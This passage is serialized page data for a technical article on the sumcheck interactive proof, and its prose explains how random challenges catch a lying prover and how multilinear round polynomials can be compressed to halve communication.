113210}," such that ",{"type":22,"tag":30,"props":113212,"children":113214},{"className":113213},[8026,8027],[113215],{"type":22,"tag":101,"props":113216,"children":113218},{"className":113217},[8032],[113219],{"type":22,"tag":101,"props":113220,"children":113222},{"className":113221,"ariaHidden":5608},[8037],[113223,113316],{"type":22,"tag":101,"props":113224,"children":113226},{"className":113225},[8042],[113227,113231,113288,113293,113298,113303,113307,113312],{"type":22,"tag":101,"props":113228,"children":113230},{"className":113229,"style":8154},[8047],[],{"type":22,"tag":101,"props":113232,"children":113234},{"className":113233},[8053],[113235,113240],{"type":22,"tag":101,"props":113236,"children":113238},{"className":113237,"style":97040},[8053,25575],[113239],{"type":27,"value":112805},{"type":22,"tag":101,"props":113241,"children":113243},{"className":113242},[8069],[113244],{"type":22,"tag":101,"props":113245,"children":113247},{"className":113246},[8074,25629],[113248,113277],{"type":22,"tag":101,"props":113249,"children":113251},{"className":113250},[8079],[113252,113272],{"type":22,"tag":101,"props":113253,"children":113255},{"className":113254,"style":97083},[8084],[113256],{"type":22,"tag":101,"props":113257,"children":113258},{"style":97087},[113259,113263],{"type":22,"tag":101,"props":113260,"children":113262},{"className":113261,"style":8094},[8093],[],{"type":22,"tag":101,"props":113264,"children":113266},{"className":113265},[8099,8100,8101,8102],[113267],{"type":22,"tag":101,"props":113268,"children":113270},{"className":113269},[8053,25575,8102],[113271],{"type":27,"value":7774},{"type":22,"tag":101,"props":113273,"children":113275},{"className":113274},[25732],[113276],{"type":27,"value":25735},{"type":22,"tag":101,"props":113278,"children":113280},{"className":113279},[8079],[113281],{"type":22,"tag":101,"props":113282,"children":113284},{"className":113283,"style":96637},[8084],[113285],{"type":22,"tag":101,"props":113286,"children":113287},{},[],{"type":22,"tag":101,"props":113289,"children":113291},{"className":113290},[25704],[113292],{"type":27,"value":980},{"type":22,"tag":101,"props":113294,"children":113296},{"className":113295},[8053],[113297],{"type":27,"value":8065},{"type":22,"tag":101,"props":113299,"children":113301},{"className":113300},[25726],[113302],{"type":27,"value":2261},{"type":22,"tag":101,"props":113304,"children":113306},{"className":113305,"style":8134},[8133],[],{"type":22,"tag":101,"props":113308,"children":113310},{"className":113309},[8139],[113311],{"type":27,"value":8426},{"type":22,"tag":101,"props":113313,"children":113315},{"className":113314,"style":8134},[8133],[],{"type":22,"tag":101,"props":113317,"children":113319},{"className":113318},[8042],[113320,113324,113381,113386,113391],{"type":22,"tag":101,"props":113321,"children":113323},{"className":113322,"style":8154},[8047],[],{"type":22,"tag":101,"props":113325,"children":113327},{"className":113326},[8053],[113328,113333],{"type":22,"tag":101,"props":113329,"children":113331},{"className":113330,"style":97040},[8053,25575],[113332],{"type":27,"value":112805},{"type":22,"tag":101,"props":113334,"children":113336},{"className":113335},[8069],[113337],{"type":22,"tag":101,"props":113338,"children":113340},{"className":113339},[8074,25629],[113341,113370],{"type":22,"tag":101,"props":113342,"children":113344},{"className":113343},[8079],[113345,113365],{"type":22,"tag":101,"props":113346,"children":113348},{"className":113347,"style":97083},[8084],[113349],{"type":22,"tag":101,"props":113350,"children":113351},{"style":97087},[113352,113356],{"type":22,"tag":101,"props":113353,"children":113355},{"className":113354,"style":8094},[8093],[],{"type":22,"tag":101,"props":113357,"children":113359},{"className":113358},[8099,8100,8101,8102],[113360],{"type":22,"tag":101,"props":113361,"children":113363},{"className":113362},[8053,25575,8102],[113364],{"type":27,"value":7774},{"type":22,"tag":101,"props":113366,"children":113368},{"className":113367},[25732],[113369],{"type":27,"value":25735},{"type":22,"tag":101,"props":113371,"children":113373},{"className":113372},[8079],[113374],{"type":22,"tag":101,"props":113375,"children":113377},{"className":113376,"style":96637},[8084],[113378],{"type":22,"tag":101,"props":113379,"children":113380},{},[],{"type":22,"tag":101,"props":113382,"children":113384},{"className":113383},[25704],[113385],{"type":27,"value":980},{"type":22,"tag":101,"props":113387,"children":113389},{"className":113388},[8053],[113390],{"type":27,"value":6813},{"type":22,"tag":101,"props":113392,"children":113394},{"className":113393},[25726],[113395],{"type":27,"value":2261},{"type":27,"value":113397}," equals the previous claim. If the prover is lying about the original sum ",{"type":22,"tag":30,"props":113399,"children":113401},{"className":113400},[8026,8027],[113402],{"type":22,"tag":101,"props":113403,"children":113405},{"className":113404},[8032],[113406],{"type":22,"tag":101,"props":113407,"children":113409},{"className":113408,"ariaHidden":5608},[8037],[113410],{"type":22,"tag":101,"props":113411,"children":113413},{"className":113412},[8042],[113414,113418],{"type":22,"tag":101,"props":113415,"children":113417},{"className":113416,"style":25570},[8047],[],{"type":22,"tag":101,"props":113419,"children":113421},{"className":113420,"style":96788},[8053,25575],[113422],{"type":27,"value":96791},{"type":27,"value":113424},", then they must lie about ",{"type":22,"tag":30,"props":113426,"children":113428},{"className":113427},[8026,8027],[113429],{"type":22,"tag":101,"props":113430,"children":113432},{"className":113431},[8032],[113433],{"type":22,"tag":101,"props":113434,"children":113436},{"className":113435,"ariaHidden":5608},[8037],[113437],{"type":22,"tag":101,"props":113438,"children":113440},{"className":113439},[8042],[113441,113446],{"type":22,"tag":101,"props":113442,"children":113445},{"className":113443,"style":113444},[8047],"height:0.625em;vertical-align:-0.1944em;",[],{"type":22,"tag":101,"props":113447,"children":113449},{"className":113448},[8053],[113450,113455],{"type":22,"tag":101,"props":113451,"children":113453},{"className":113452,"style":97040},[8053,25575],[113454],{"type":27,"value":112805},{"type":22,"tag":101,"props":113456,"children":113458},{"className":113457},[8069],[113459],{"type":22,"tag":101,"props":113460,"children":113462},{"className":113461},[8074,25629],[113463,113492],{"type":22,"tag":101,"props":113464,"children":113466},{"className":113465},[8079],[113467,113487],{"type":22,"tag":101,"props":113468,"children":113470},{"className":113469,"style":97083},[8084],[113471],{"type":22,"tag":101,"props":113472,"children":113473},{"style":97087},[113474,113478],{"type":22,"tag":101,"props":113475,"children":113477},{"className":113476,"style":8094},[8093],[],{"type":22,"tag":101,"props":113479,"children":113481},{"className":113480},[8099,8100,8101,8102],[113482],{"type":22,"tag":101,"props":113483,"children":113485},{"className":113484},[8053,25575,8102],[113486],{"type":27,"value":7774},{"type":22,"tag":101,"props":113488,"children":113490},{"className":113489},[25732],[113491],{"type":27,"value":25735},{"type":22,"tag":101,"props":113493,"children":113495},{"className":113494},[8079],[113496],{"type":22,"tag":101,"props":113497,"children":113499},{"className":113498,"style":96637},[8084],[113500],{"type":22,"tag":101,"props":113501,"children":113502},{},[],{"type":27,"value":113504}," somewhere. But since the verifier picks a random ",{"type":22,"tag":30,"props":113506,"children":113508},{"className":113507},[8026,8027],[113509],{"type":22,"tag":101,"props":113510,"children":113512},{"className":113511},[8032],[113513],{"type":22,"tag":101,"props":113514,"children":113516},{"className":113515,"ariaHidden":5608},[8037],[113517],{"type":22,"tag":101,"props":113518,"children":113520},{"className":113519},[8042],[113521,113526],{"type":22,"tag":101,"props":113522,"children":113525},{"className":113523,"style":113524},[8047],"height:0.5806em;vertical-align:-0.15em;",[],{"type":22,"tag":101,"props":113527,"children":113529},{"className":113528},[8053],[113530,113535],{"type":22,"tag":101,"props":113531,"children":113533},{"className":113532,"style":96554},[8053,25575],[113534],{"type":27,"value":97373},{"type":22,"tag":101,"props":113536,"children":113538},{"className":113537},[8069],[113539],{"type":22,"tag":101,"props":113540,"children":113542},{"className":113541},[8074,25629],[113543,113573],{"type":22,"tag":101,"props":113544,"children":113546},{"className":113545},[8079],[113547,113568],{"type":22,"tag":101,"props":113548,"children":113550},{"className":113549,"style":97083},[8084],[113551],{"type":22,"tag":101,"props":113552,"children":113554},{"style":113553},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[113555,113559],{"type":22,"tag":101,"props":113556,"children":113558},{"className":113557,"style":8094},[8093],[],{"type":22,"tag":101,"props":113560,"children":113562},{"className":113561},[8099,8100,8101,8102],[113563],{"type":22,"tag":101,"props":113564,"children":113566},{"className":113565},[8053,25575,8102],[113567],{"type":27,"value":7774},{"type":22,"tag":101,"props":113569,"children":113571},{"className":113570},[25732],[113572],{"type":27,"value":25735},{"type":22,"tag":101,"props":113574,"children":113576},{"className":113575},[8079],[113577],{"type":22,"tag":101,"props":113578,"children":113580},{"className":113579,"style":96637},[8084],[113581],{"type":22,"tag":101,"props":113582,"children":113583},{},[],{"type":27,"value":113585},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":22,"tag":22883,"props":113587,"children":113589},{"id":113588},"the-compression-trick",[113590],{"type":27,"value":113591},"The Compression Trick",{"type":22,"tag":23,"props":113593,"children":113594},{},[113595,113597,113747,113749,114029],{"type":27,"value":113596},"For degree-1 (multilinear) polynomials, ",{"type":22,"tag":30,"props":113598,"children":113600},{"className":113599},[8026,8027],[113601],{"type":22,"tag":101,"props":113602,"children":113604},{"className":113603},[8032],[113605],{"type":22,"tag":101,"props":113606,"children":113608},{"className":113607,"ariaHidden":5608},[8037],[113609,113702,113729],{"type":22,"tag":101,"props":113610,"children":113612},{"className":113611},[8042],[113613,113617,113674,113679,113684,113689,113693,113698],{"type":22,"tag":101,"props":113614,"children":113616},{"className":113615,"style":8154},[8047],[],{"type":22,"tag":101,"props":113618,"children":113620},{"className":113619},[8053],[113621,113626],{"type":22,"tag":101,"props":113622,"children":113624},{"className":113623,"style":97040},[8053,25575],[113625],{"type":27,"value":112805},{"type":22,"tag":101,"props":113627,"children":113629},{"className":113628},[8069],[113630],{"type":22,"tag":101,"props":113631,"children":113633},{"className":113632},[8074,25629],[113634,113663],{"type":22,"tag":101,"props":113635,"children":113637},{"className":113636},[8079],[113638,113658],{"type":22,"tag":101,"props":113639,"children":113641},{"className":113640,"style":97083},[8084],[113642],{"type":22,"tag":101,"props":113643,"children":113644},{"style":97087},[113645,113649],{"type":22,"tag":101,"props":113646,"children":113648},{"className":113647,"style":8094},[8093],[],{"type":22,"tag":101,"props":113650,"children":113652},{"className":113651},[8099,8100,8101,8102],[113653],{"type":22,"tag":101,"props":113654,"children":113656},{"className":113655},[8053,25575,8102],[113657],{"type":27,"value":7774},{"type":22,"tag":101,"props":113659,"children":113661},{"className":113660},[25732],[113662],{"type":27,"value":25735},{"type":22,"tag":101,"props":113664,"children":113666},{"className":113665},[8079],[113667],{"type":22,"tag":101,"props":113668,"children":113670},{"className":113669,"style":96637},[8084],[113671],{"type":22,"tag":101,"props":113672,"children":113673},{},[],{"type":22,"tag":101,"props":113675,"children":113677},{"className":113676},[25704],[113678],{"type":27,"value":980},{"type":22,"tag":101,"props":113680,"children":113682},{"className":113681,"style":98574},[8053,25575],[113683],{"type":27,"value":10165},{"type":22,"tag":101,"props":113685,"children":113687},{"className":113686},[25726],[113688],{"type":27,"value":2261},{"type":22,"tag":101,"props":113690,"children":113692},{"className":113691,"style":8231},[8133],[],{"type":22,"tag":101,"props":113694,"children":113696},{"className":113695},[8236],[113697],{"type":27,"value":1511},{"type":22,"tag":101,"props":113699,"children":113701},{"className":113700,"style":8231},[8133],[],{"type":22,"tag":101,"props":113703,"children":113705},{"className":113704},[8042],[113706,113711,113716,113720,113725],{"type":22,"tag":101,"props":113707,"children":113710},{"className":113708,"style":113709},[8047],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":22,"tag":101,"props":113712,"children":113714},{"className":113713},[8053,25575],[113715],{"type":27,"value":80},{"type":22,"tag":101,"props":113717,"children":113719},{"className":113718,"style":8134},[8133],[],{"type":22,"tag":101,"props":113721,"children":113723},{"className":113722},[8139],[113724],{"type":27,"value":8426},{"type":22,"tag":101,"props":113726,"children":113728},{"className":113727,"style":8134},[8133],[],{"type":22,"tag":101,"props":113730,"children":113732},{"className":113731},[8042],[113733,113737,113742],{"type":22,"tag":101,"props":113734,"children":113736},{"className":113735,"style":96469},[8047],[],{"type":22,"tag":101,"props":113738,"children":113740},{"className":113739},[8053,25575],[113741],{"type":27,"value":7262},{"type":22,"tag":101,"props":113743,"children":113745},{"className":113744,"style":98574},[8053,25575],[113746],{"type":27,"value":10165},{"type":27,"value":113748}," has only two coefficients. Since the verifier knows ",{"type":22,"tag":30,"props":113750,"children":113752},{"className":113751},[8026,8027],[113753],{"type":22,"tag":101,"props":113754,"children":113756},{"className":113755},[8032],[113757],{"type":22,"tag":101,"props":113758,"children":113760},{"className":113759,"ariaHidden":5608},[8037],[113761,113854,113947],{"type":22,"tag":101,"props":113762,"children":113764},{"className":113763},[8042],[113765,113769,113826,113831,113836,113841,113845,113850],{"type":22,"tag":101,"props":113766,"children":113768},{"className":113767,"style":8154},[8047],[],{"type":22,"tag":101,"props":113770,"children":113772},{"className":113771},[8053],[113773,113778],{"type":22,"tag":101,"props":113774,"children":113776},{"className":113775,"style":97040},[8053,25575],[113777],{"type":27,"value":112805},{"type":22,"tag":101,"props":113779,"children":113781},{"className":113780},[8069],[113782],{"type":22,"tag":101,"props":113783,"children":113785},{"className":113784},[8074,25629],[113786,113815],{"type":22,"tag":101,"props":113787,"children":113789},{"className":113788},[8079],[113790,113810],{"type":22,"tag":101,"props":113791,"children":113793},{"className":113792,"style":97083},[8084],[113794],{"type":22,"tag":101,"props":113795,"children":113796},{"style":97087},[113797,113801],{"type":22,"tag":101,"props":113798,"children":113800},{"className":113799,"style":8094},[8093],[],{"type":22,"tag":101,"props":113802,"children":113804},{"className":113803},[8099,8100,8101,8102],[113805],{"type":22,"tag":101,"props":113806,"children":113808},{"className":113807},[8053,25575,8102],[113809],{"type":27,"value":7774},{"type":22,"tag":101,"props":113811,"children":113813},{"className":113812},[25732],[113814],{"type":27,"value":25735},{"type":22,"tag":101,"props":113816,"children":113818},{"className":113817},[8079],[113819],{"type":22,"tag":101,"props":113820,"children":113822},{"className":113821,"style":96637},[8084],[113823],{"type":22,"tag":101,"props":113824,"children":113825},{},[],{"type":22,"tag":101,"props":113827,"children":113829},{"className":113828},[25704],[113830],{"type":27,"value":980},{"type":22,"tag":101,"props":113832,"children":113834},{"className":113833},[8053],[113835],{"type":27,"value":8065},{"type":22,"tag":101,"props":113837,"children":113839},{"className":113838},[25726],[113840],{"type":27,"value":2261},{"type":22,"tag":101,"props":113842,"children":113844},{"className":113843,"style":8134},[8133],[],{"type":22,"tag":101,"props":113846,"children":113848},{"className":113847},[8139],[113849],{"type":27,"value":8426},{"type":22,"tag":101,"props":113851,"children":113853},{"className":113852,"style":8134},[8133],[],{"type":22,"tag":101,"props":113855,"children":113857},{"className":113856},[8042],[113858,113862,113919,113924,113929,113934,113938,113943],{"type":22,"tag":101,"props":113859,"children":113861},{"className":113860,"style":8154},[8047],[],{"type":22,"tag":101,"props":113863,"children":113865},{"className":113864},[8053],[113866,113871],{"type":22,"tag":101,"props":113867,"children":113869},{"className":113868,"style":97040},[8053,25575],[113870],{"type":27,"value":112805},{"type":22,"tag":101,"props":113872,"children":113874},{"className":113873},[8069],[113875],{"type":22,"tag":101,"props":113876,"children":113878},{"className":113877},[8074,25629],[113879,113908],{"type":22,"tag":101,"props":113880,"children":113882},{"className":113881},[8079],[113883,113903],{"type":22,"tag":101,"props":113884,"children":113886},{"className":113885,"style":97083},[8084],[113887],{"type":22,"tag":101,"props":113888,"children":113889},{"style":97087},[113890,113894],{"type":22,"tag":101,"props":113891,"children":113893},{"className":113892,"style":8094},[8093],[],{"type":22,"tag":101,"props":113895,"children":113897},{"className":113896},[8099,8100,8101,8102],[113898],{"type":22,"tag":101,"props":113899,"children":113901},{"className":113900},[8053,25575,8102],[113902],{"type":27,"value":7774},{"type":22,"tag":101,"props":113904,"children":113906},{"className":113905},[25732],[113907],{"type":27,"value":25735},{"type":22,"tag":101,"props":113909,"children":113911},{"className":113910},[8079],[113912],{"type":22,"tag":101,"props":113913,"children":113915},{"className":113914,"style":96637},[8084],[113916],{"type":22,"tag":101,"props":113917,"children":113918},{},[],{"type":22,"tag":101,"props":113920,"children":113922},{"className":113921},[25704],[113923],{"type":27,"value":980},{"type":22,"tag":101,"props":113925,"children":113927},{"className":113926},[8053],[113928],{"type":27,"value":6813},{"type":22,"tag":101,"props":113930,"children":113932},{"className":113931},[25726],[113933],{"type":27,"value":2261},{"type":22,"tag":101,"props":113935,"children":113937},{"className":113936,"style":8231},[8133],[],{"type":22,"tag":101,"props":113939,"children":113941},{"className":113940},[8236],[113942],{"type":27,"value":1511},{"type":22,"tag":101,"props":113944,"children":113946},{"className":113945,"style":8231},[8133],[],{"type":22,"tag":101,"props":113948,"children":113950},{"className":113949},[8042],[113951,113956],{"type":22,"tag":101,"props":113952,"children":113955},{"className":113953,"style":113954},[8047],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":22,"tag":101,"props":113957,"children":113959},{"className":113958},[8053],[113960,113965],{"type":22,"tag":101,"props":113961,"children":113963},{"className":113962,"style":96788},[8053,25575],[113964],{"type":27,"value":96791},{"type":22,"tag":101,"props":113966,"children":113968},{"className":113967},[8069],[113969],{"type":22,"tag":101,"props":113970,"children":113972},{"className":113971},[8074,25629],[113973,114017],{"type":22,"tag":101,"props":113974,"children":113976},{"className":113975},[8079],[113977,114012],{"type":22,"tag":101,"props":113978,"children":113980},{"className":113979,"style":97083},[8084],[113981],{"type":22,"tag":101,"props":113982,"children":113984},{"style":113983},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[113985,113989],{"type":22,"tag":101,"props":113986,"children":113988},{"className":113987,"style":8094},[8093],[],{"type":22,"tag":101,"props":113990,"children":113992},{"className":113991},[8099,8100,8101,8102],[113993],{"type":22,"tag":101,"props":113994,"children":113996},{"className":113995},[8053,8102],[113997,114002,114007],{"type":22,"tag":101,"props":113998,"children":114000},{"className":113999},[8053,25575,8102],[114001],{"type":27,"value":7774},{"type":22,"tag":101,"props":114003,"children":114005},{"className":114004},[8139,8102],[114006],{"type":27,"value":8113},{"type":22,"tag":101,"props":114008,"children":114010},{"className":114009},[8053,8102],[114011],{"type":27,"value":6813},{"type":22,"tag":101,"props":114013,"children":114015},{"className":114014},[25732],[114016],{"type":27,"value":25735},{"type":22,"tag":101,"props":114018,"children":114020},{"className":114019},[8079],[114021],{"type":22,"tag":101,"props":114022,"children":114025},{"className":114023,"style":114024},[8084],"height:0.2083em;",[114026],{"type":22,"tag":101,"props":114027,"children":114028},{},[],{"type":27,"value":114030}," (the previous claim), we have:",{"type":22,"tag":23,"props":114032,"children":114033},{},[114034],{"type":22,"tag":30,"props":114035,"children":114037},{"className":114036},[8026,8027],[114038],{"type":22,"tag":101,"props":114039,"children":114041},{"className":114040},[8032],[114042],{"type":22,"tag":101,"props":114043,"children":114045},{"className":114044,"ariaHidden":5608},[8037],[114046,114072,114103,114134,114235,114261,114353],{"type":22,"tag":101,"props":114047,"children":114049},{"className":114048},[8042],[114050,114054,114059,114063,114068],{"type":22,"tag":101,"props":114051,"children":114053},{"className":114052,"style":113709},[8047],[],{"type":22,"tag":101,"props":114055,"children":114057},{"className":114056},[8053,25575],[114058],{"type":27,"value":80},{"type":22,"tag":101,"props":114060,"children":114062},{"className":114061,"style":8134},[8133],[],{"type":22,"tag":101,"props":114064,"children":114066},{"className":114065},[8139],[114067],{"type":27,"value":8426},{"type":22,"tag":101,"props":114069,"children":114071},{"className":114070,"style":8134},[8133],[],{"type":22,"tag":101,"props":114073,"children":114075},{"className":114074},[8042],[114076,114080,114085,114090,114094,114099],{"type":22,"tag":101,"props":114077,"children":114079},{"className":114078,"style":8154},[8047],[],{"type":22,"tag":101,"props":114081,"children":114083},{"className":114082},[25704],[114084],{"type":27,"value":980},{"type":22,"tag":101,"props":114086,"children":114088},{"className":114087},[8053,25575],[114089],{"type":27,"value":80},{"type":22,"tag":101,"props":114091,"children":114093},{"className":114092,"style":8134},[8133],[],{"type":22,"tag":101,"props":114095,"children":114097},{"className":114096},[8139],[114098],{"type":27,"value":8426},{"type":22,"tag":101,"props":114100,"children":114102},{"className":114101,"style":8134},[8133],[],{"type":22,"tag":101,"props":114104,"children":114106},{"className":114105},[8042],[114107,114111,114116,114121,114125,114130],{"type":22,"tag":101,"props":114108,"children":114110},{"className":114109,"style":8154},[8047],[],{"type":22,"tag":101,"props":114112,"children":114114},{"className":114113},[8053,25575],[114115],{"type":27,"value":7262},{"type":22,"tag":101,"props":114117,"children":114119},{"className":114118},[25726],[114120],{"type":27,"value":2261},{"type":22,"tag":101,"props":114122,"children":114124},{"className":114123,"style":8231},[8133],[],{"type":22,"tag":101,"props":114126,"children":114128},{"className":114127},[8236],[114129],{"type":27,"value":1511},{"type":22,"tag":101,"props":114131,"children":114133},{"className":114132,"style":8231},[8133],[],{"type":22,"tag":101,"props":114135,"children":114137},{"className":114136},[8042],[114138,114142,114213,114217,114221,114227,114231],{"type":22,"tag":101,"props":114139,"children":114141},{"className":114140,"style":113954},[8047],[],{"type":22,"tag":101,"props":114143,"children":114145},{"className":114144},[8053],[114146,114151],{"type":22,"tag":101,"props":114147,"children":114149},{"className":114148,"style":96788},[8053,25575],[114150],{"type":27,"value":96791},{"type":22,"tag":101,"props":114152,"children":114154},{"className":114153},[8069],[114155],{"type":22,"tag":101,"props":114156,"children":114158},{"className":114157},[8074,25629],[114159,114202],{"type":22,"tag":101,"props":114160,"children":114162},{"className":114161},[8079],[114163,114197],{"type":22,"tag":101,"props":114164,"children":114166},{"className":114165,"style":97083},[8084],[114167],{"type":22,"tag":101,"props":114168,"children":114169},{"style":113983},[114170,114174],{"type":22,"tag":101,"props":114171,"children":114173},{"className":114172,"style":8094},[8093],[],{"type":22,"tag":101,"props":114175,"children":114177},{"className":114176},[8099,8100,8101,8102],[114178],{"type":22,"tag":101,"props":114179,"children":114181},{"className":114180},[8053,8102],[114182,114187,114192],{"type":22,"tag":101,"props":114183,"children":114185},{"className":114184},[8053,25575,8102],[114186],{"type":27,"value":7774},{"type":22,"tag":101,"props":114188,"children":114190},{"className":114189},[8139,8102],[114191],{"type":27,"value":8113},{"type":22,"tag":101,"props":114193,"children":114195},{"className":114194},[8053,8102],[114196],{"type":27,"value":6813},{"type":22,"tag":101,"props":114198,"children":114200},{"className":114199},[25732],[114201],{"type":27,"value":25735},{"type":22,"tag":101,"props":114203,"children":114205},{"className":114204},[8079],[114206],{"type":22,"tag":101,"props":114207,"children":114209},{"className":114208,"style":114024},[8084],[114210],{"type":22,"tag":101,"props":114211,"children":114212},{},[],{"type":22,"tag":101,"props":114214,"children":114216},{"className":114215,"style":8231},[8133],[],{"type":22,"tag":101,"props":114218,"children":114220},{"className":114219,"style":8231},[8133],[],{"type":22,"tag":101,"props":114222,"children":114224},{"className":114223},[8236],[114225],{"type":27,"value":114226},"⟹",{"type":22,"tag":101,"props":114228,"children":114230},{"className":114229,"style":8231},[8133],[],{"type":22,"tag":101,"props":114232,"children":114234},{"className":114233,"style":8231},[8133],[],{"type":22,"tag":101,"props":114236,"children":114238},{"className":114237},[8042],[114239,114243,114248,114252,114257],{"type":22,"tag":101,"props":114240,"children":114242},{"className":114241,"style":96469},[8047],[],{"type":22,"tag":101,"props":114244,"children":114246},{"className":114245},[8053,25575],[114247],{"type":27,"value":7262},{"type":22,"tag":101,"props":114249,"children":114251},{"className":114250,"style":8231},[8133],[],{"type":22,"tag":101,"props":114253,"children":114255},{"className":114254},[8236],[114256],{"type":27,"value":1511},{"type":22,"tag":101,"props":114258,"children":114260},{"className":114259,"style":8231},[8133],[],{"type":22,"tag":101,"props":114262,"children":114264},{"className":114263},[8042],[114265,114269,114340,114344,114349],{"type":22,"tag":101,"props":114266,"children":114268},{"className":114267,"style":113954},[8047],[],{"type":22,"tag":101,"props":114270,"children":114272},{"className":114271},[8053],[114273,114278],{"type":22,"tag":101,"props":114274,"children":114276},{"className":114275,"style":96788},[8053,25575],[114277],{"type":27,"value":96791},{"type":22,"tag":101,"props":114279,"children":114281},{"className":114280},[8069],[114282],{"type":22,"tag":101,"props":114283,"children":114285},{"className":114284},[8074,25629],[114286,114329],{"type":22,"tag":101,"props":114287,"children":114289},{"className":114288},[8079],[114290,114324],{"type":22,"tag":101,"props":114291,"children":114293},{"className":114292,"style":97083},[8084],[114294],{"type":22,"tag":101,"props":114295,"children":114296},{"style":113983},[114297,114301],{"type":22,"tag":101,"props":114298,"children":114300},{"className":114299,"style":8094},[8093],[],{"type":22,"tag":101,"props":114302,"children":114304},{"className":114303},[8099,8100,8101,8102],[114305],{"type":22,"tag":101,"props":114306,"children":114308},{"className":114307},[8053,8102],[114309,114314,114319],{"type":22,"tag":101,"props":114310,"children":114312},{"className":114311},[8053,25575,8102],[114313],{"type":27,"value":7774},{"type":22,"tag":101,"props":114315,"children":114317},{"className":114316},[8139,8102],[114318],{"type":27,"value":8113},{"type":22,"tag":101,"props":114320,"children":114322},{"className":114321},[8053,8102],[114323],{"type":27,"value":6813},{"type":22,"tag":101,"props":114325,"children":114327},{"className":114326},[25732],[114328],{"type":27,"value":25735},{"type":22,"tag":101,"props":114330,"children":114332},{"className":114331},[8079],[114333],{"type":22,"tag":101,"props":114334,"children":114336},{"className":114335,"style":114024},[8084],[114337],{"type":22,"tag":101,"props":114338,"children":114339},{},[],{"type":22,"tag":101,"props":114341,"children":114343},{"className":114342,"style":8134},[8133],[],{"type":22,"tag":101,"props":114345,"children":114347},{"className":114346},[8139],[114348],{"type":27,"value":8113},{"type":22,"tag":101,"props":114350,"children":114352},{"className":114351,"style":8134},[8133],[],{"type":22,"tag":101,"props":114354,"children":114356},{"className":114355},[8042],[114357,114361,114366],{"type":22,"tag":101,"props":114358,"children":114360},{"className":114359,"style":97585},[8047],[],{"type":22,"tag":101,"props":114362,"children":114364},{"className":114363},[8053],[114365],{"type":27,"value":7164},{"type":22,"tag":101,"props":114367,"children":114369},{"className":114368},[8053,25575],[114370],{"type":27,"value":80},{"type":22,"tag":23,"props":114372,"children":114373},{},[114374,114376,114495,114497,114522],{"type":27,"value":114375},"So the prover only sends ",{"type":22,"tag":30,"props":114377,"children":114379},{"className":114378},[8026,8027],[114380],{"type":22,"tag":101,"props":114381,"children":114383},{"className":114382},[8032],[114384],{"type":22,"tag":101,"props":114385,"children":114387},{"className":114386,"ariaHidden":5608},[8037],[114388,114415],{"type":22,"tag":101,"props":114389,"children":114391},{"className":114390},[8042],[114392,114397,114402,114406,114411],{"type":22,"tag":101,"props":114393,"children":114396},{"className":114394,"style":114395},[8047],"height:0.4306em;",[],{"type":22,"tag":101,"props":114398,"children":114400},{"className":114399},[8053,25575],[114401],{"type":27,"value":80},{"type":22,"tag":101,"props":114403,"children":114405},{"className":114404,"style":8231},[8133],[],{"type":22,"tag":101,"props":114407,"children":114409},{"className":114408},[8236],[114410],{"type":27,"value":1511},{"type":22,"tag":101,"props":114412,"children":114414},{"className":114413,"style":8231},[8133],[],{"type":22,"tag":101,"props":114416,"children":114418},{"className":114417},[8042],[114419,114423,114480,114485,114490],{"type":22,"tag":101,"props":114420,"children":114422},{"className":114421,"style":8154},[8047],[],{"type":22,"tag":101,"props":114424,"children":114426},{"className":114425},[8053],[114427,114432],{"type":22,"tag":101,"props":114428,"children":114430},{"className":114429,"style":97040},[8053,25575],[114431],{"type":27,"value":112805},{"type":22,"tag":101,"props":114433,"children":114435},{"className":114434},[8069],[114436],{"type":22,"tag":101,"props":114437,"children":114439},{"className":114438},[8074,25629],[114440,114469],{"type":22,"tag":101,"props":114441,"children":114443},{"className":114442},[8079],[114444,114464],{"type":22,"tag":101,"props":114445,"children":114447},{"className":114446,"style":97083},[8084],[114448],{"type":22,"tag":101,"props":114449,"children":114450},{"style":97087},[114451,114455],{"type":22,"tag":101,"props":114452,"children":114454},{"className":114453,"style":8094},[8093],[],{"type":22,"tag":101,"props":114456,"children":114458},{"className":114457},[8099,8100,8101,8102],[114459],{"type":22,"tag":101,"props":114460,"children":114462},{"className":114461},[8053,25575,8102],[114463],{"type":27,"value":7774},{"type":22,"tag":101,"props":114465,"children":114467},{"className":114466},[25732],[114468],{"type":27,"value":25735},{"type":22,"tag":101,"props":114470,"children":114472},{"className":114471},[8079],[114473],{"type":22,"tag":101,"props":114474,"children":114476},{"className":114475,"style":96637},[8084],[114477],{"type":22,"tag":101,"props":114478,"children":114479},{},[],{"type":22,"tag":101,"props":114481,"children":114483},{"className":114482},[25704],[114484],{"type":27,"value":980},{"type":22,"tag":101,"props":114486,"children":114488},{"className":114487},[8053],[114489],{"type":27,"value":8065},{"type":22,"tag":101,"props":114491,"children":114493},{"className":114492},[25726],[114494],{"type":27,"value":2261},{"type":27,"value":114496},", and the verifier recovers ",{"type":22,"tag":30,"props":114498,"children":114500},{"className":114499},[8026,8027],[114501],{"type":22,"tag":101,"props":114502,"children":114504},{"className":114503},[8032],[114505],{"type":22,"tag":101,"props":114506,"children":114508},{"className":114507,"ariaHidden":5608},[8037],[114509],{"type":22,"tag":101,"props":114510,"children":114512},{"className":114511},[8042],[114513,114517],{"type":22,"tag":101,"props":114514,"children":114516},{"className":114515,"style":96469},[8047],[],{"type":22,"tag":101,"props":114518,"children":114520},{"className":114519},[8053,25575],[114521],{"type":27,"value":7262},{"type":27,"value":114523},". This saves 50% on communication costs.",{"type":22,"tag":23,"props":114525,"children":114526},{},[114527],{"type":27,"value":114528},"The next claim in the chain 